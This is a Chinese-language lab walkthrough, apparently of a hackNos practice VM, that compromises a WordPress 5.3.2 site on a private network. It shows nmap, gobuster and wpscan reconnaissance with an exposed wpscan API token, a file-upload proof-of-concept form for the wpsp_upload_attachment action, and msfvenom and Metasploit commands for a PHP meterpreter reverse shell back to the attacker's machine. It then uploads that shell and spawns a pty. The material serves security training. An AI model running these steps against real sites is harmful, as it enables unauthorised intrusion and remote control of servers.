(1)扫描ip
nmap 192.168.7.0/24
nmap -sn 192.168.7.0/24 | grep -B 2 '08:00:27:51:61:91'
![](https://img-blog.csdnimg.cn/img_convert/93649042cea4402911ccc7989bfa7ac1.png)
(2)目录扫描
![](https://img-blog.csdnimg.cn/img_convert/98a22ef5976fcc861b2c521df93b8ee4.png)
(3)端口扫描
![](https://img-blog.csdnimg.cn/img_convert/feb4700008552241b18846e9a6e119b8.png)
(4)访问网站...并使用gobuster进行目录扫描...没有啥有价值的信息...回到页面上发现网站路径...为/var/www/html/g@web
对其进行访问使用火狐插件Wappalyzer
发现站点为Wordpress5.3.2
...
gobuster dir -u http://192.168.7.202/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100
![](https://img-blog.csdnimg.cn/img_convert/360cc7330a27c50730c72ae70eabcc6b.png)
![](https://img-blog.csdnimg.cn/img_convert/56fb278d3fbac64525a7803adec5eb50.png)
![](https://img-blog.csdnimg.cn/img_convert/f08c4d79a6bcf6d65c112010574e05da.png)
(5)尝试使用wpscan
列出站点的用户和密码...发现该站点的一个WP Json Api
地址访问...可在描述字段中发现一个密码hackNos@9012!!
对其默认后台登录界面访问并尝试登录...,发现登录不上
wpscan --url http://192.168.7.202/g@web -e u --api-token NCpd6sIerdVHZ48sTMJ4RIeawnhpImnOrjaxXiXgIX0
![](https://img-blog.csdnimg.cn/img_convert/a824af2e8defbc804ccdfa600adedb7a.png)
![](https://img-blog.csdnimg.cn/img_convert/fd386098a1664b11050d4719a02cf5a7.png)
(6)使用wpscan
对其网站进行漏洞扫描...发现远程代码执行漏洞...对其利用信息访问...拿取到POC并修改保存成HTML文件....
wpscan --url http://192.168.7.202/g@web -e vp --api-token NCpd6sIerdVHZ48sTMJ4RIeawnhpImnOrjaxXiXgIX0
![](https://img-blog.csdnimg.cn/img_convert/7c480e3e09f5f3deae7be02e7ccca626.png)
![](https://i-blog.csdnimg.cn/direct/38d135218cef4deca2af9c091648ce39.png)
访问https://wpscan.com/vulnerability/85d3126a-34a3-4799-a94b-76d7b835db5f/,获取到POC:
<form method="post" enctype="multipart/form-data" action="http://192.168.7.202/g@web/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpsp_upload_attachment">
Choose a file ending with .phtml:
<input type="file" name="0">
<input type="submit" value="Submit">
</form>
After doing this, an uploaded file can be accessed at, say:
http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml
vim zz.html
![](https://img-blog.csdnimg.cn/img_convert/121fc8bba6dea72d1b4b2c032004366a.png)
(7)使用MSF生成PHP木马并开启监听,使用浏览器打开POC.html
的文件将生成的php shell行上传,并访问上传Shell页面,访问上传的Shell并接收到会话
#开启msf
msfconsole
#生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.7.48 LPORT=1234 x> shell.phtml
#开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.7.48
set LPORT 1234
exploit
![](https://img-blog.csdnimg.cn/img_convert/a3a400a2037c243c6d1fa160e19cfaba.png)
(8)双击生成的poc,并将刚才生成的shell.phtml上传
#shell上传页面
http://192.168.7.202/g@web/wp-content/uploads/wpsp/
![](https://img-blog.csdnimg.cn/img_convert/ac0391f2e8fd5327abd88b9e74d8b705.png)
![](https://img-blog.csdnimg.cn/img_convert/7c0f33dbc47c1b9dc16f476e5bbcb2fa.png)
![](https://i-blog.csdnimg.cn/direct/973d7d1aa50d4aea8ef6e7c2f63f4005.png)
(9)监听
![](https://i-blog.csdnimg.cn/direct/5acae3b36a4c4fcf9ee744c27aaca440.png)
(10)创建一个伪终端
#调用/bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'
![](https://img-blog.csdnimg.cn/img_convert/ddcde7910718a23a7d2075ce2658fcfa.png)